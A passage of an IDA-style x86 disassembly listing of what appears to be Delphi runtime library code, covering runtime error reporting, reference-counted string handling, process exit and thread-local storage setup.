		dec	ecx
		test	ebx, ebx
		jnz	short loc_132D8
		mov	cl, 1Ch
		mov	eax, ds:dword_16004


loc_13304:				; CODE XREF: sub_132C8+54j
		mov	edx, eax
		and	edx, 0Fh
		mov	dl, ds:byte_16074[edx]
		xor	ebx, ebx
		mov	bl, cl
		mov	[esi+ebx], dl
		shr	eax, 4
		dec	ecx
		test	eax, eax
		jnz	short loc_13304
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_132C8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_13324	proc near		; CODE XREF: sub_133E0+A4p
		xor	eax, eax
		xchg	eax, ds:uExitCode
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	edi, offset dword_17620
		mov	ebx, [edi+18h]
		mov	ebp, [edi+14h]
		push	dword ptr [edi+1Ch]
		push	dword ptr [edi+20h]
		mov	esi, [edi]
		mov	ecx, 0Bh
		rep movsd
		pop	edi
		pop	esi
		leave
		retn	0Ch
sub_13324	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_13354	proc near		; CODE XREF: sub_133E0+39p

NumberOfBytesWritten= dword ptr	-4

		push	ecx
		cmp	ds:byte_17034, 0
		jz	short loc_133B5
		cmp	ds:word_17208, 0D7B2h
		jnz	short loc_1337D
		cmp	ds:dword_17210,	0
		jbe	short loc_1337D
		mov	eax, offset dword_17204
		call	ds:dword_17220


loc_1337D:				; CODE XREF: sub_13354+13j
					; sub_13354+1Cj
		push	0		; lpOverlapped
		lea	eax, [esp+8+NumberOfBytesWritten]
		push	eax		; lpNumberOfBytesWritten
		push	1Eh		; nNumberOfBytesToWrite
		push	offset Text	; "Runtime error     at	00000000"
		push	0FFFFFFF5h	; nStdHandle
		call	GetStdHandle	; GetStdHandle
		push	eax		; hFile
		call	WriteFile	; WriteFile
		push	0		; lpOverlapped
		lea	eax, [esp+8+NumberOfBytesWritten]
		push	eax		; lpNumberOfBytesWritten
		push	2		; nNumberOfBytesToWrite
		push	offset dword_133DC ; lpBuffer
		push	0FFFFFFF5h	; nStdHandle
		call	GetStdHandle	; GetStdHandle
		push	eax		; hFile
		call	WriteFile	; WriteFile
		pop	edx
		retn
; ---------------------------------------------------------------------------


loc_133B5:				; CODE XREF: sub_13354+8j
		cmp	ds:byte_16018, 0
		jnz	short loc_133D1
		push	0		; uType
		push	offset Caption	; "Error"
		push	offset Text	; "Runtime error     at	00000000"
		push	0		; hWnd
		call	MessageBoxA	; MessageBoxA


loc_133D1:				; CODE XREF: sub_13354+68j
		pop	edx
		retn
sub_13354	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 2
dword_133DC	dd 0A0Dh	
; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn

; int __fastcall sub_133E0(struct _EXCEPTION_POINTERS ExceptionInfo)

sub_133E0	proc near		; CODE XREF: sub_134C0+5p
					; CODE:loc_15208p

var_14		= dword	ptr -14h
ExceptionInfo	= _EXCEPTION_POINTERS ptr  4

		push	ebx
		push	esi
		push	edi
		push	ebp
		push	ecx		; ExceptionInfo
		mov	ebx, offset dword_17620
		mov	esi, offset dword_17030
		cmp	byte ptr [ebx+28h], 0
		jnz	short loc_1340B
		cmp	dword ptr [esi], 0
		jz	short loc_1340B


loc_133FA:				; CODE XREF: sub_133E0+29j
		mov	eax, [esi]
		mov	[esp+14h+var_14], eax
		xor	eax, eax
		mov	[esi], eax
		call	[esp+14h+var_14]
		cmp	dword ptr [esi], 0
		jnz	short loc_133FA


loc_1340B:				; CODE XREF: sub_133E0+13j
					; sub_133E0+18j
		cmp	ds:dword_16004,	0
		jz	short loc_13425
		call	sub_132C8
		call	sub_13354
		xor	eax, eax
		mov	ds:dword_16004,	eax


loc_13425:				; CODE XREF: sub_133E0+32j
					; sub_133E0+D5j
		cmp	byte ptr [ebx+28h], 2
		jnz	short loc_13439
		cmp	ds:uExitCode, 0
		jnz	short loc_13439
		xor	eax, eax
		mov	[ebx+0Ch], eax


loc_13439:				; CODE XREF: sub_133E0+49j
					; sub_133E0+52j
		call	sub_131A8
		cmp	byte ptr [ebx+28h], 1
		jbe	short loc_1344D
		cmp	ds:uExitCode, 0
		jz	short loc_13470


loc_1344D:				; CODE XREF: sub_133E0+62j
		mov	edi, [ebx+10h]
		test	edi, edi
		jz	short loc_13470
		mov	eax, edi
		call	sub_13780
		mov	ebp, [ebx+10h]
		mov	esi, [ebp+10h]
		cmp	esi, [ebp+4]
		jz	short loc_13470
		test	esi, esi
		jz	short loc_13470
		push	esi		; hLibModule
		call	FreeLibrary	; FreeLibrary


loc_13470:				; CODE XREF: sub_133E0+6Bj
					; sub_133E0+72j ...
		call	sub_13180
		cmp	byte ptr [ebx+28h], 1
		jnz	short loc_1347E
		call	dword ptr [ebx+24h]


loc_1347E:				; CODE XREF: sub_133E0+99j
		cmp	byte ptr [ebx+28h], 0
		jz	short loc_13489
		call	sub_13324


loc_13489:				; CODE XREF: sub_133E0+A2j
		cmp	dword ptr [ebx], 0
		jnz	short loc_134A8
		cmp	ds:dword_17018,	0
		jz	short loc_1349D
		call	ds:dword_17018


loc_1349D:				; CODE XREF: sub_133E0+B5j
		mov	eax, ds:uExitCode
		push	eax		; uExitCode
		call	ExitProcess	; ExitProcess
; ---------------------------------------------------------------------------


loc_134A8:				; CODE XREF: sub_133E0+ACj
		mov	eax, [ebx]
		mov	esi, eax
		mov	edi, ebx
		mov	ecx, 0Bh
		rep movsd
		jmp	loc_13425
sub_133E0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_134C0	proc near		; CODE XREF: sub_12854+6p sub_134CC+6j
		mov	ds:uExitCode, eax
		call	sub_133E0
sub_134C0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0C3h	; Ã
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_134CC	proc near		; CODE XREF: CODE:00013155j
					; sub_139D4+1Ap ...
		pop	ds:dword_16004
		jmp	sub_134C0
sub_134CC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_134D8	proc near		; CODE XREF: sub_12A6C+Ep
					; sub_1359C+23p ...
		mov	edx, [eax]
		test	edx, edx
		jz	short locret_134FA
		mov	dword ptr [eax], 0
		mov	ecx, [edx-8]
		dec	ecx
		jl	short locret_134FA
		lock dec dword ptr [edx-8]
		jnz	short locret_134FA
		push	eax
		lea	eax, [edx-8]
		call	sub_127E4
		pop	eax

locret_134FA:				; CODE XREF: sub_134D8+4j
					; sub_134D8+10j ...
		retn
sub_134D8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_134FC	proc near		; CODE XREF: sub_13F18+2CDp
					; sub_1434C+307p ...
		push	ebx
		push	esi
		mov	ebx, eax
		mov	esi, edx


loc_13502:				; CODE XREF: sub_134FC+2Aj
		mov	edx, [ebx]
		test	edx, edx
		jz	short loc_13522
		mov	dword ptr [ebx], 0
		mov	ecx, [edx-8]
		dec	ecx
		jl	short loc_13522
		lock dec dword ptr [edx-8]
		jnz	short loc_13522
		lea	eax, [edx-8]
		call	sub_127E4


loc_13522:				; CODE XREF: sub_134FC+Aj
					; sub_134FC+16j ...
		add	ebx, 4
		dec	esi
		jnz	short loc_13502
		pop	esi
		pop	ebx
		retn
sub_134FC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_1352C	proc near		; CODE XREF: sub_135FC+8j
					; sub_14F44+8Cp ...
		test	edx, edx
		jz	short loc_13554
		mov	ecx, [edx-8]
		inc	ecx
		jg	short loc_13550
		push	eax
		push	edx
		mov	eax, [edx-4]
		call	sub_13570
		mov	edx, eax
		pop	eax
		push	edx
		mov	ecx, [eax-4]
		call	sub_128C8
		pop	edx
		pop	eax
		jmp	short loc_13554
; ---------------------------------------------------------------------------


loc_13550:				; CODE XREF: sub_1352C+8j
		lock inc dword ptr [edx-8]


loc_13554:				; CODE XREF: sub_1352C+2j
					; sub_1352C+22j
		xchg	edx, [eax]
		test	edx, edx
		jz	short locret_1356E
		mov	ecx, [edx-8]
		dec	ecx
		jl	short locret_1356E
		lock dec dword ptr [edx-8]
		jnz	short locret_1356E
		lea	eax, [edx-8]
		call	sub_127E4

locret_1356E:				; CODE XREF: sub_1352C+2Cj
					; sub_1352C+32j ...
		retn
sub_1352C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_13570	proc near		; CODE XREF: sub_1352C+Fp sub_1359C+Bp ...
		test	eax, eax
		jle	short loc_13598
		push	eax
		add	eax, 0Ah
		and	eax, 0FFFFFFFEh
		push	eax
		call	sub_127B4
		pop	edx
		mov	word ptr [edx+eax-2], 0
		add	eax, 8
		pop	edx
		mov	[eax-4], edx
		mov	dword ptr [eax-8], 1
		retn
; ---------------------------------------------------------------------------


loc_13598:				; CODE XREF: sub_13570+2j
		xor	eax, eax
		retn
sub_13570	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_1359C	proc near		; CODE XREF: sub_12A6C+30p
					; sub_135CC+8p	...
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	esi, edx
		mov	edi, ecx
		mov	eax, edi
		call	sub_13570
		mov	ecx, edi
		mov	edi, eax
		test	esi, esi
		jz	short loc_135BD
		mov	edx, eax
		mov	eax, esi
		call	sub_128C8


loc_135BD:				; CODE XREF: sub_1359C+16j
		mov	eax, ebx
		call	sub_134D8
		mov	[ebx], edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_1359C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_135CC	proc near		; CODE XREF: sub_13E48+51p
					; sub_14990+AEp
		push	edx
		mov	edx, esp
		mov	ecx, 1
		call	sub_1359C
		pop	edx
		retn
sub_135CC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_135DC	proc near		; CODE XREF: sub_13804+36p
		push	edi
		push	eax
		push	ecx
		mov	edi, edx
		xor	eax, eax
		repne scasb
		jnz	short loc_135E9
		not	ecx


loc_135E9:				; CODE XREF: sub_135DC+9j
		pop	eax
		add	ecx, eax
		pop	eax
		pop	edi
		jmp	sub_1359C
sub_135DC	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_135F4	proc near		; CODE XREF: sub_13B78+Fp
					; sub_13D28+12p ...
		test	eax, eax
		jz	short locret_135FB
		mov	eax, [eax-4]

locret_135FB:				; CODE XREF: sub_135F4+2j
		retn
sub_135F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_135FC	proc near		; CODE XREF: sub_13E48+5Cp
					; sub_14990+B9p
		test	edx, edx
		jz	short locret_1363F
		mov	ecx, [eax]
		test	ecx, ecx
		jz	sub_1352C
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	esi, edx
		mov	edi, [ecx-4]
		mov	edx, [esi-4]
		add	edx, edi
		cmp	esi, ecx
		jz	short loc_13634
		call	sub_136A8
		mov	eax, esi
		mov	ecx, [esi-4]


loc_13627:				; CODE XREF: sub_135FC+41j
		mov	edx, [ebx]
		add	edx, edi
		call	sub_128C8
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_13634:				; CODE XREF: sub_135FC+1Fj
		call	sub_136A8
		mov	eax, [ebx]
		mov	ecx, edi
		jmp	short loc_13627
; ---------------------------------------------------------------------------

locret_1363F:				; CODE XREF: sub_135FC+2j
		retn
sub_135FC	endp


; =============== S U B	R O U T	I N E =======================================



sub_13640	proc near		; CODE XREF: sub_13E48+14p
					; sub_14810+17p ...
		test	eax, eax
		jz	short locret_1364E
		mov	edx, [eax-8]
		inc	edx
		jle	short locret_1364E
		lock inc dword ptr [eax-8]

locret_1364E:				; CODE XREF: sub_13640+2j sub_13640+8j
		retn
sub_13640	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_13650	proc near		; CODE XREF: sub_13D28+35p
					; sub_13F18+38p ...
		test	eax, eax
		jz	short loc_13656
		retn
; ---------------------------------------------------------------------------
byte_13655	db 0			; DATA XREF: sub_13650:loc_13656o
; ---------------------------------------------------------------------------


loc_13656:				; CODE XREF: sub_13650+2j
		mov	eax, offset byte_13655
		retn
sub_13650	endp


; =============== S U B	R O U T	I N E =======================================



sub_1365C	proc near		; CODE XREF: sub_136A0j
		mov	edx, [eax]
		test	edx, edx
		jz	short loc_1369A
		mov	ecx, [edx-8]
		dec	ecx
		jz	short loc_1369A
		push	ebx
		mov	ebx, eax
		mov	eax, [edx-4]
		call	sub_13570
		mov	edx, eax
		mov	eax, [ebx]
		mov	[ebx], edx
		push	eax
		mov	ecx, [eax-4]
		call	sub_128C8
		pop	eax
		mov	ecx, [eax-8]
		dec	ecx
		jl	short loc_13697
		lock dec dword ptr [eax-8]
		jnz	short loc_13697
		lea	eax, [eax-8]
		call	sub_127E4


loc_13697:				; CODE XREF: sub_1365C+2Bj
					; sub_1365C+31j
		mov	edx, [ebx]
		pop	ebx


loc_1369A:				; CODE XREF: sub_1365C+4j sub_1365C+Aj
		mov	eax, edx
		retn
sub_1365C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_136A0	proc near		; CODE XREF: sub_13D28+2Cp
					; sub_14810+42p ...
		jmp	sub_1365C
sub_136A0	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_136A8	proc near		; CODE XREF: sub_12908+B3p
					; sub_135FC+21p ...
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	esi, edx
		xor	edi, edi
		test	edx, edx
		jle	short loc_136FD
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_136DE
		cmp	dword ptr [eax-8], 1
		jnz	short loc_136DE
		sub	eax, 8
		add	edx, 9
		push	eax
		mov	eax, esp
		call	sub_12804
		pop	eax
		add	eax, 8
		mov	[ebx], eax
		mov	[eax-4], esi
		mov	byte ptr [esi+eax], 0
		jmp	short loc_13706
; ---------------------------------------------------------------------------


loc_136DE:				; CODE XREF: sub_136A8+11j
					; sub_136A8+17j
		mov	eax, edx
		call	sub_13570
		mov	edi, eax
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_136FD
		mov	edx, edi
		mov	ecx, [eax-4]
		cmp	ecx, esi
		jl	short loc_136F8
		mov	ecx, esi


loc_136F8:				; CODE XREF: sub_136A8+4Cj
		call	sub_128C8


loc_136FD:				; CODE XREF: sub_136A8+Bj
					; sub_136A8+43j
		mov	eax, ebx
		call	sub_134D8
		mov	[ebx], edi


loc_13706:				; CODE XREF: sub_136A8+34j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_136A8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_1370C	proc near		; DATA XREF: sub_138CC+2Fo
		mov	al, 11h
		jmp	sub_128AC
sub_1370C	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_13714	proc near		; CODE XREF: sub_13780+1Dp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], eax
		mov	eax, ds:dword_16020
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_13767


loc_1372E:				; CODE XREF: sub_13714+51j
		xor	eax, eax
		push	ebp
		push	offset loc_1374F
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	ebx, [ebp+var_8]
		mov	eax, [ebp+var_4]
		call	dword ptr [ebx+4]
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		jmp	short loc_13759
; ---------------------------------------------------------------------------


loc_1374F:				; DATA XREF: sub_13714+1Do
		jmp	loc_12E20
; ---------------------------------------------------------------------------
		call	sub_12FD8


loc_13759:				; CODE XREF: sub_13714+39j
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_1372E


loc_13767:				; CODE XREF: sub_13714+18j
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_13714	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_13770	proc near		; CODE XREF: sub_13A58+5p
		mov	edx, ds:dword_1601C
		mov	[eax], edx
		mov	ds:dword_1601C,	eax
		retn
sub_13770	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_13780	proc near		; CODE XREF: sub_133E0+76p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	ebp
		push	offset loc_137F9
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_4]
		mov	eax, [eax+4]
		call	sub_13714
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_13800


loc_137AF:				; CODE XREF: sub_13780+7Ej
		mov	eax, [ebp+var_4]
		cmp	eax, ds:dword_1601C
		jnz	short loc_137C6
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		mov	ds:dword_1601C,	eax
		jmp	short loc_137F8
; ---------------------------------------------------------------------------


loc_137C6:				; CODE XREF: sub_13780+38j
		mov	eax, ds:dword_1601C
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_137F8


loc_137D4:				; CODE XREF: sub_13780+76j
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		cmp	eax, [ebp+var_4]
		jnz	short loc_137EA
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		mov	edx, [ebp+var_8]
		mov	[edx], eax
		jmp	short loc_137F8
; ---------------------------------------------------------------------------


loc_137EA:				; CODE XREF: sub_13780+5Cj
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_137D4


loc_137F8:				; CODE XREF: sub_13780+44j
					; sub_13780+52j ...
		retn
; ---------------------------------------------------------------------------


loc_137F9:				; DATA XREF: sub_13780+Co
		jmp	loc_12F4C
; ---------------------------------------------------------------------------
		jmp	short loc_137AF
; ---------------------------------------------------------------------------


loc_13800:				; CODE XREF: sub_13780:loc_137F8j
					; DATA XREF: sub_13780+2Ao
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_13780	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_13804	proc near		; CODE XREF: sub_138CC+ADp
					; sub_138CC+BEp

var_10		= dword	ptr -10h
LCData		= byte ptr -0Bh
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		push	ebx
		xor	edx, edx
		mov	[ebp+var_10], edx
		xor	edx, edx
		push	ebp
		push	offset loc_1386A
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		push	7		; cchData
		lea	edx, [ebp+LCData]
		push	edx		; lpLCData
		push	1004h		; LCType
		push	eax		; Locale
		call	GetLocaleInfoA	; GetLocaleInfoA
		lea	eax, [ebp+var_10]
		lea	edx, [ebp+LCData]
		mov	ecx, 7
		call	sub_135DC
		mov	eax, [ebp+var_10]
		lea	edx, [ebp+var_4]
		call	sub_12B48
		mov	ebx, eax
		cmp	[ebp+var_4], 0
		jz	short loc_13854
		xor	ebx, ebx


loc_13854:				; CODE XREF: sub_13804+4Cj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_13871


loc_13861:				; CODE XREF: sub_13804+6Bj
		lea	eax, [ebp+var_10]
		call	sub_134D8
		retn
; ---------------------------------------------------------------------------


loc_1386A:				; DATA XREF: sub_13804+Fo
		jmp	loc_12F4C
; ---------------------------------------------------------------------------
		jmp	short loc_13861
; ---------------------------------------------------------------------------


loc_13871:				; CODE XREF: sub_13804+65j
					; DATA XREF: sub_13804+58o
		mov	eax, ebx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_13804	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_13878	proc near		; DATA XREF: CODE:000150C0o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_138C2
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_175A4
		jnz	short loc_138B4
		mov	eax, offset dword_17038
		call	sub_12AD0
		mov	eax, offset dword_17204
		call	sub_12AD0
		mov	eax, offset dword_173D0
		call	sub_12AD0
		call	sub_119DC


loc_138B4:				; CODE XREF: sub_13878+17j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_138C9


loc_138C1:				; CODE XREF: sub_13878+4Fj
		retn
; ---------------------------------------------------------------------------


loc_138C2:				; DATA XREF: sub_13878+6o
		jmp	loc_12F4C
; ---------------------------------------------------------------------------
		jmp	short loc_138C1
; ---------------------------------------------------------------------------


loc_138C9:				; CODE XREF: sub_13878:loc_138C1j
					; DATA XREF: sub_13878+44o
		pop	ebp
		retn
sub_13878	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_138CC	proc near		; DATA XREF: CODE:000150BCo
		sub	ds:dword_175A4,	1
		jnb	locret_1399E
		mov	ds:byte_16008, 2
		mov	ds:dword_17010,	offset RaiseException
		mov	ds:dword_17014,	offset RtlUnwind
		mov	ds:byte_17036, 2
		mov	ds:dword_17000,	offset sub_1370C
		call	sub_12C24
		test	al, al
		jz	short loc_13913
		call	sub_12C54


loc_13913:				; CODE XREF: sub_138CC+40j
		call	sub_12D18
		mov	ds:word_1703C, 0D7B0h
		mov	ds:word_17208, 0D7B0h
		mov	ds:word_173D4, 0D7B0h
		call	GetCommandLineA	; GetCommandLineA
		mov	ds:dword_1702C,	eax
		call	sub_11098
		mov	ds:dword_17028,	eax
		call	GetVersion	; GetVersion
		and	eax, 80000000h
		cmp	eax, 80000000h
		jz	short loc_13985
		call	GetVersion	; GetVersion
		and	eax, 0FFh
		cmp	ax, 4
		jbe	short loc_13974
		mov	ds:dword_175A8,	3
		jmp	short loc_13994
; ---------------------------------------------------------------------------


loc_13974:				; CODE XREF: sub_138CC+9Aj
		call	GetThreadLocale	; GetThreadLocale
		call	sub_13804
		mov	ds:dword_175A8,	eax
		jmp	short loc_13994
; ---------------------------------------------------------------------------


loc_13985:				; CODE XREF: sub_138CC+8Aj
		call	GetThreadLocale	; GetThreadLocale
		call	sub_13804
		mov	ds:dword_175A8,	eax


loc_13994:				; CODE XREF: sub_138CC+A6j
					; sub_138CC+B7j
		call	GetCurrentThreadId	; GetCurrentThreadId
		mov	ds:dword_17020,	eax

locret_1399E:				; CODE XREF: sub_138CC+7j
		retn
sub_138CC	endp

; ---------------------------------------------------------------------------
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION GetModuleHandleA.	PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION LocalAlloc_0. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION TlsGetValue. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION TlsSetValue. PRESS KEYPAD	"+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_139C0	proc near		; CODE XREF: sub_139D4+21p
		push	eax		; uBytes
		push	40h		; uFlags
		call	LocalAlloc_0
		retn
sub_139C0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_139CC	proc near		; CODE XREF: sub_139D4+1p
		mov	eax, 8
		retn
sub_139CC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_139D4	proc near		; CODE XREF: sub_13A18:loc_13A32p
		push	ebx
		call	sub_139CC
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_13A16
		cmp	ds:TlsIndex, 0FFFFFFFFh
		jnz	short loc_139F3
		mov	eax, 0E2h
		call	sub_134CC
; ---------------------------------------------------------------------------


loc_139F3:				; CODE XREF: sub_139D4+13j
		mov	eax, ebx
		call	sub_139C0
		test	eax, eax
		jnz	short loc_13A0A
		mov	eax, 0E2h
		call	sub_134CC
; ---------------------------------------------------------------------------
		jmp	short loc_13A16
; ---------------------------------------------------------------------------


loc_13A0A:				; CODE XREF: sub_139D4+28j
		push	eax		; lpTlsValue
		mov	eax, ds:TlsIndex
		push	eax		; dwTlsIndex
		call	TlsSetValue	; TlsSetValue


loc_13A16:				; CODE XREF: sub_139D4+Aj
					; sub_139D4+34j
		pop	ebx
		retn
sub_139D4	endp


; =============== S U B	R O U T	I N E =======================================



sub_13A18	proc near		; CODE XREF: sub_12860+20p
					; sub_128B8+3p	...
		mov	cl, ds:byte_1764C
		mov	eax, ds:TlsIndex
		test	cl, cl
		jnz	short loc_13A4D
		mov	edx, large fs:2Ch
		mov	eax, [edx+eax*4]
		retn
; ---------------------------------------------------------------------------


loc_13A32:				; CODE XREF: sub_13A18+3Dj
		call	sub_139D4
		mov	eax, ds:TlsIndex
		push	eax		; dwTlsIndex
		call	TlsGetValue	; TlsGetValue
		test	eax, eax
		jz	short loc_13A47
		retn
; ---------------------------------------------------------------------------


loc_13A47:				; CODE XREF: sub_13A18+2Cj
		mov	eax, ds:dword_17658
		retn
; ---------------------------------------------------------------------------


loc_13A4D:				; CODE XREF: sub_13A18+Dj
		push	eax		; dwTlsIndex
		call	TlsGetValue	; TlsGetValue
		test	eax, eax
		jz	short loc_13A32
		retn
sub_13A18	endp


; =============== S U B	R O U T	I N E =======================================



sub_13A58	proc near		; CODE XREF: sub_13A64+2Ep
		mov	eax, offset dword_16088
		call	sub_13770
		retn
sub_13A58	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_13A64	proc near		; CODE XREF: CODE:0001512Dp
		push	ebx
		mov	ebx, eax
		xor	eax, eax
		mov	ds:TlsIndex, eax
		push	0		; lpModuleName
		call	GetModuleHandleA	; GetModuleHandleA
		mov	ds:dword_17650,	eax
		mov	eax, ds:dword_17650
		mov	ds:dword_1608C,	eax
		xor	eax, eax
		mov	ds:dword_16090,	eax
		xor	eax, eax
		mov	ds:dword_16094,	eax
		call	sub_13A58
		mov	edx, offset dword_16088
		mov	eax, ebx
		call	sub_13288
		pop	ebx
		retn
sub_13A64	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_13AA8	proc near		; DATA XREF: CODE:000150B8o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_13ACD
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_17654
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_13AD4


loc_13ACC:				; CODE XREF: sub_13AA8+2Aj
		retn
; ---------------------------------------------------------------------------


loc_13ACD:				; DATA XREF: sub_13AA8+6o
		jmp	loc_12F4C
; ---------------------------------------------------------------------------
		jmp	short loc_13ACC
; ---------------------------------------------------------------------------


loc_13AD4:				; CODE XREF: sub_13AA8:loc_13ACCj
					; DATA XREF: sub_13AA8+1Fo
		pop	ebp
		retn
sub_13AA8	endp

; ---------------------------------------------------------------------------
		align 4


loc_13AD8:				; DATA XREF: CODE:off_150B4o
		sub	ds:dword_17654,	1
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_13AE0	proc near		; DATA XREF: CODE:000150C8o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_13B05
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_1765C
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_13B0C


loc_13B04:				; CODE XREF: sub_13AE0+2Aj
		retn
; ---------------------------------------------------------------------------


loc_13B05:				; DATA XREF: sub_13AE0+6o
		jmp	loc_12F4C
; ---------------------------------------------------------------------------
		jmp	short loc_13B04
; ---------------------------------------------------------------------------


loc_13B0C:				; CODE XREF: sub_13AE0:loc_13B04j
					; DATA XREF: sub_13AE0+1Fo
		pop	ebp
		retn
sub_13AE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_13B10	proc near		; DATA XREF: CODE:000150C4o
		sub	ds:dword_1765C,	1
		retn
sub_13B10	endp

; [00000006 BYTES: COLLAPSED FUNCTION FreeLibrary_0. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION GetLastError. PRESS KEYPAD "+" TO	EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION GetProcAddress. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION LoadLibraryA. PRESS KEYPAD "+" TO	EXPAND]
